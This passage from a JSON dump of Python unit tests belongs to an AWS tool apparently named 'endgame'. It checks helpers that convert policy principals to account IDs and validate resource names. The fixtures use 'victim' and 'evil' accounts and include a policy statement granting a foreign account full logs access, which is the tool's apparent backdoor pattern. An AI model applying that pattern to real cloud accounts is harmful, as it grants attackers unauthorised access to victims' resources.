StatementDetail(statement=policy_with_root_principal[\"Statement\"][0], service=\"logs\")\n        print(statement_detail.json)\n        print(statement_detail.sid)\n        statement_detail.sid = \"OverrideSid\"\n        self.assertEqual(statement_detail.sid, \"OverrideSid\")\n        print(statement_detail.sid)\n        self.assertEqual(statement_detail.resources, ['*'])\n        self.assertEqual(statement_detail.actions, ['logs:*'])\n        self.assertEqual(statement_detail.aws_principals, ['arn:aws:iam::111222333:root'])\n"
  },
  {
    "path": "test/shared/test_utils.py",
    "content": "import json\nimport unittest\nfrom click.testing import CliRunner\nfrom policy_sentry.util.arns import get_account_from_arn\nfrom endgame.shared import constants\nfrom endgame.shared.utils import change_policy_principal_from_arn_to_account_id\n\nvictim_account_id = \"123456789012\"\nevil_principal = \"arn:aws:iam::987654321:user/mwahahaha\"\nevil_account_id = \"987654321\"\n\n\nclass ChangePrincipalArnToIdTestCase(unittest.TestCase):\n    def test_principal_is_string(self):\n        print()\n        policy = {\n            'Version': '2012-10-17',\n            'Statement': [\n                {\n                    'Sid': 'AllowCurrentAccount',\n                    'Effect': 'Allow',\n                    'Principal': {'AWS': 'arn:aws:iam::111222333:root'},\n                    'Action': 'logs:*',\n                    'Resource': ['*', '*/*']\n                },\n                {\n                    'Sid': 'Endgame',\n                    'Effect': 'Allow',\n                    'Principal': {'AWS': 'arn:aws:iam::999888777:root'},\n                    'Action': 'logs:*',\n                    'Resource': ['*']\n                }\n            ]\n        }\n        expected_result = {\n            'Version': '2012-10-17',\n            'Statement': [\n                {\n                    'Sid': 'AllowCurrentAccount',\n                    'Effect': 'Allow',\n                    'Principal': {'AWS': ['111222333']},\n                    'Action': 'logs:*',\n                    'Resource': ['*', '*/*']\n                },\n                {\n                    'Sid': 'Endgame',\n                    'Effect': 'Allow',\n                    'Principal': {'AWS': ['999888777']},\n                    'Action': 'logs:*',\n                    'Resource': ['*']\n                }\n            ]\n        }\n        results = change_policy_principal_from_arn_to_account_id(policy)\n        print(json.dumps(results, indent=4))\n        self.assertDictEqual(results, expected_result)\n\n    def test_principal_is_list(self):\n        print()\n\n    # def test_principal_does_not_exist(self):\n    #     print()\n"
  },
  {
    "path": "test/shared/test_validate.py",
    "content": "import json\nimport unittest\nfrom click.testing import CliRunner\nimport datetime\nfrom endgame.shared.validate import validate_user_or_principal_arn, click_validate_comma_separated_resource_names\n\n\nclass ValidateTestCase(unittest.TestCase):\n\n    def test_validate_user_or_principal_arn(self):\n        \"\"\"shared.validate.validate_user_or_principal_arn: should highlight user ARNs properly\"\"\"\n        user_arn = \"arn:aws:iam::123456789012:user/kmcquade\"\n        role_arn = \"arn:aws:iam::123456789012:role/myrole\"\n\n        invalid_arn_1 = \"arn:aws:iam::123456789012:sup/notreal\"\n        invalid_arn_2 = \"arn:aws:s3:::test-bucket\"\n        self.assertTrue(validate_user_or_principal_arn(user_arn))\n        self.assertTrue(validate_user_or_principal_arn(role_arn))\n        with self.assertRaises(Exception):\n            validate_user_or_principal_arn(invalid_arn_1)\n        with self.assertRaises(Exception):\n            validate_user_or_principal_arn(invalid_arn_2)\n\n    def test_click_validate_comma_separated_resource_names(self):\n        \"\"\"shared.validate.click_validate_comma_separated_resource_names: Should return values properly\"\"\"\n        self.assertIsNone(click_validate_comma_separated_resource_names(ctx=None, param=None, value=None))\n        self.assertIsInstance(click_validate_comma_separated_resource_names(ctx=None, param=None, value=\"\"), list)\n        self.assertListEqual(click_validate_comma_separated_resource_names(ctx=None, param=None, value=\"\"), [])\n        comma_separated_string = \"victimbucket1,victimbucket2,victimbucket3\"\n        result = click_validate_comma_separated_resource_names(ctx=None, param=None, value=comma_separated_string)\n        expected_result = ['victimbucket1', 'victimbucket2', 'victimbucket3']\n        self.assertListEqual(result, expected_result)\n        with self.assertRaises(Exception):\n            click_validate_comma_separated_resource_names(ctx=None, param=None, value={})\n\n"
  }
]